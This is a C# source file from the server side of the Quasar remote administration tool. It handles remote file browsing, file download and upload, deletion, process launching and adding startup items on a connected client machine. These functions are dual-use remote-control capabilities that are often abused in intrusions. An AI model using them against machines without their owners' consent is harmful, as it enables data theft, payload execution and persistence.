using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using Quasar.Server.Enums; using Quasar.Server.Models; using Quasar.Server.Networking; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading; namespace Quasar.Server.Messages { /// /// Handles messages for the interaction with remote files and directories. /// public class FileManagerHandler : MessageProcessorBase, IDisposable { /// /// Represents the method that will handle drive changes. /// /// The message processor which raised the event. /// All currently available drives. public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); /// /// Represents the method that will handle directory changes. /// /// The message processor which raised the event. /// The remote path of the directory. /// The directory content. public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); /// /// Represents the method that will handle file transfer updates. /// /// The message processor which raised the event. /// The updated file transfer. public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); /// /// Raised when drives changed. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event DrivesChangedEventHandler DrivesChanged; /// /// Raised when a directory changed. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event DirectoryChangedEventHandler DirectoryChanged; /// /// Raised when a file transfer updated. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event FileTransferUpdatedEventHandler FileTransferUpdated; /// /// Reports changed remote drives. /// /// The current remote drives. private void OnDrivesChanged(Drive[] drives) { SynchronizationContext.Post(d => { var handler = DrivesChanged; handler?.Invoke(this, (Drive[])d); }, drives); } /// /// Reports a directory change. /// /// The remote path of the directory. /// The directory content. private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) { SynchronizationContext.Post(i => { var handler = DirectoryChanged; handler?.Invoke(this, remotePath, (FileSystemEntry[])i); }, items); } /// /// Reports updated file transfers. /// /// The updated file transfer. private void OnFileTransferUpdated(FileTransfer transfer) { SynchronizationContext.Post(t => { var handler = FileTransferUpdated; handler?.Invoke(this, (FileTransfer)t); }, transfer.Clone()); } /// /// Keeps track of all active file transfers. Finished or canceled transfers get removed. /// private readonly List _activeFileTransfers = new List(); /// /// Used in lock statements to synchronize access between UI thread and thread pool. /// private readonly object _syncLock = new object(); /// /// The client which is associated with this file manager handler. /// private readonly Client _client; /// /// Used to only allow two simultaneous file uploads. /// private readonly Semaphore _limitThreads = new Semaphore(2, 2); /// /// Path to the base download directory of the client. /// private readonly string _baseDownloadPath; private readonly TaskManagerHandler _taskManagerHandler; /// /// Initializes a new instance of the class using the given client. /// /// The associated client. /// Optional sub directory name. public FileManagerHandler(Client client, string subDirectory = "") : base(true) { _client = client; _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); _taskManagerHandler = new TaskManagerHandler(client); _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; MessageHandler.Register(_taskManagerHandler); } /// public override bool CanExecute(IMessage message) => message is FileTransferChunk || message is FileTransferCancel || message is FileTransferComplete || message is GetDrivesResponse || message is GetDirectoryResponse || message is SetStatusFileManager; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case FileTransferChunk file: Execute(sender, file); break; case FileTransferCancel cancel: Execute(sender, cancel); break; case FileTransferComplete complete: Execute(sender, complete); break; case GetDrivesResponse drive: Execute(sender, drive); break; case GetDirectoryResponse directory: Execute(sender, directory); break; case SetStatusFileManager status: Execute(sender, status); break; } } /// /// Begins downloading a file from the client. /// /// The remote path of the file to download. /// The local file name. /// Overwrite the local file with the newly downloaded. public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false) { if (string.IsNullOrEmpty(remotePath)) return; int id = GetUniqueFileTransferId(); if (!Directory.Exists(_baseDownloadPath)) Directory.CreateDirectory(_baseDownloadPath); string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName; string localPath = Path.Combine(_baseDownloadPath, fileName); int i = 1; while (!overwrite && File.Exists(localPath)) { // rename file if it exists already var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath)); localPath = Path.Combine(_baseDownloadPath, newFileName); i++; } var transfer = new FileTransfer { Id = id, Type = TransferType.Download, LocalPath = localPath, RemotePath = remotePath, Status = "Pending...", //Size = fileSize, TODO: Add file size here TransferredSize = 0 }; try { transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write); } catch (Exception) { transfer.Status = "Error writing file"; OnFileTransferUpdated(transfer); return; } lock (_syncLock) { _activeFileTransfers.Add(transfer); } OnFileTransferUpdated(transfer); _client.Send(new FileTransferRequest {RemotePath = remotePath, Id = id}); } /// /// Begins uploading a file to the client. /// /// The local path of the file to upload. /// Save the uploaded file to this remote path. If empty, generate a temporary file name. public void BeginUploadFile(string localPath, string remotePath = "") { new Thread(() => { int id = GetUniqueFileTransferId(); FileTransfer transfer = new FileTransfer { Id = id, Type = TransferType.Upload, LocalPath = localPath, RemotePath = remotePath, Status = "Pending...", TransferredSize = 0 }; try { transfer.FileSplit = new FileSplit(localPath, FileAccess.Read); } catch (Exception) { transfer.Status = "Error reading file"; OnFileTransferUpdated(transfer); return; } transfer.Size = transfer.FileSplit.FileSize; lock (_syncLock) { _activeFileTransfers.Add(transfer); } transfer.Size = transfer.FileSplit.FileSize; OnFileTransferUpdated(transfer); _limitThreads.WaitOne(); try { foreach (var chunk in transfer.FileSplit) { transfer.TransferredSize += chunk.Data.Length; decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2); transfer.Status = $"Uploading...({progress}%)"; OnFileTransferUpdated(transfer); bool transferCanceled; lock (_syncLock) { transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; } if (transferCanceled) { transfer.Status = "Canceled"; OnFileTransferUpdated(transfer); _limitThreads.Release(); return; } // TODO: blocking sending might not be required, needs further testing _client.SendBlocking(new FileTransferChunk { Id = id, Chunk = chunk, FilePath = remotePath, FileSize = transfer.Size }); } } catch (Exception) { lock (_syncLock) { // if transfer is already cancelled, just return if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0) { _limitThreads.Release(); return; } } transfer.Status = "Error reading file"; OnFileTransferUpdated(transfer); CancelFileTransfer(transfer.Id); _limitThreads.Release(); return; } _limitThreads.Release(); }).Start(); } /// /// Cancels a file transfer. /// /// The id of the file transfer to cancel. public void CancelFileTransfer(int transferId) { _client.Send(new FileTransferCancel {Id = transferId}); } /// /// Renames a remote file or directory. /// /// The remote file or directory path to rename. /// The new name of the remote file or directory path. /// The type of the file (file or directory). public void RenameFile(string remotePath, string newPath, FileType type) { _client.Send(new DoPathRename { Path = remotePath, NewPath = newPath, PathType = type }); } /// /// Deletes a remote file or directory. /// /// The remote file or directory path. /// The type of the file (file or directory). public void DeleteFile(string remotePath, FileType type) { _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); } /// /// Starts a new process remotely. /// /// The remote path used for starting the new process. public void StartProcess(string remotePath) { _taskManagerHandler.StartProcess(remotePath); } /// /// Adds an item to the startup of the client. /// /// The startup item to add. public void AddToStartup(StartupItem item) { _client.Send(new DoStartupItemAdd {StartupItem = item}); } /// /// Gets the directory contents for the remote path. /// /// The remote path of the directory. public void GetDirectoryContents(string remotePath) { _client.Send(new GetDirectory {RemotePath = remotePath}); } /// /// Refreshes the remote drives. /// public void RefreshDrives() { _client.Send(new GetDrives()); } private void Execute(ISender client, FileTransferChunk message) { FileTransfer transfer; lock (_syncLock) { transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); } if (transfer == null) return; transfer.Size = message.FileSize; transfer.TransferredSize += message.Chunk.Data.Length; try { transfer.FileSplit.WriteChunk(message.Chunk); } catch (Exception) { transfer.Status = "Error writing file"; OnFileTransferUpdated(transfer); CancelFileTransfer(transfer.Id); return; } decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); transfer.Status = $"Downloading...({progress}%)"; OnFileTransferUpdated(transfer); } private void Execute(ISender client, FileTransferCancel message) { FileTransfer transfer; lock (_syncLock) { transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); } if (transfer != null) { transfer.Status = message.Reason; OnFileTransferUpdated(transfer); RemoveFileTransfer(transfer.Id); // don't keep un-finished files if (transfer.Type == TransferType.Download) File.Delete(transfer.LocalPath); } } private void Execute(ISender client, FileTransferComplete message) { FileTransfer transfer; lock (_syncLock) { transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); } if (transfer != null) { transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client transfer.Status = "Completed"; RemoveFileTransfer(transfer.Id); OnFileTransferUpdated(transfer); } } private void Execute(ISender client, GetDrivesResponse message) { if (message.Drives?.Length == 0) return; OnDrivesChanged(message.Drives); } private void Execute(ISender client, GetDirectoryResponse message) { if (message.Items == null) { message.Items = new FileSystemEntry[0]; } OnDirectoryChanged(message.RemotePath, message.Items); } private void Execute(ISender client, SetStatusFileManager message) { OnReport(message.Message); } private void ProcessActionPerformed(object sender, ProcessAction action, bool result) { if (action != ProcessAction.Start) return; OnReport(result ? "Process started successfully" : "Process failed to start"); } /// /// Removes a file transfer given the transfer id. /// /// The file transfer id. private void RemoveFileTransfer(int transferId) { lock (_syncLock) { var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId); transfer?.FileSplit?.Dispose(); _activeFileTransfers.RemoveAll(s => s.Id == transferId); } } /// /// Generates a unique file transfer id. /// /// A unique file transfer id. private int GetUniqueFileTransferId() { int id; lock (_syncLock) { do { id = FileTransfer.GetRandomTransferId(); // generate new id until we have a unique one } while (_activeFileTransfers.Any(f => f.Id == id)); } return id; } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_syncLock) { foreach (var transfer in _activeFileTransfers) { _client.Send(new FileTransferCancel {Id = transfer.Id}); transfer.FileSplit?.Dispose(); if (transfer.Type == TransferType.Download) File.Delete(transfer.LocalPath); } _activeFileTransfers.Clear(); } MessageHandler.Unregister(_taskManagerHandler); _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; } } } }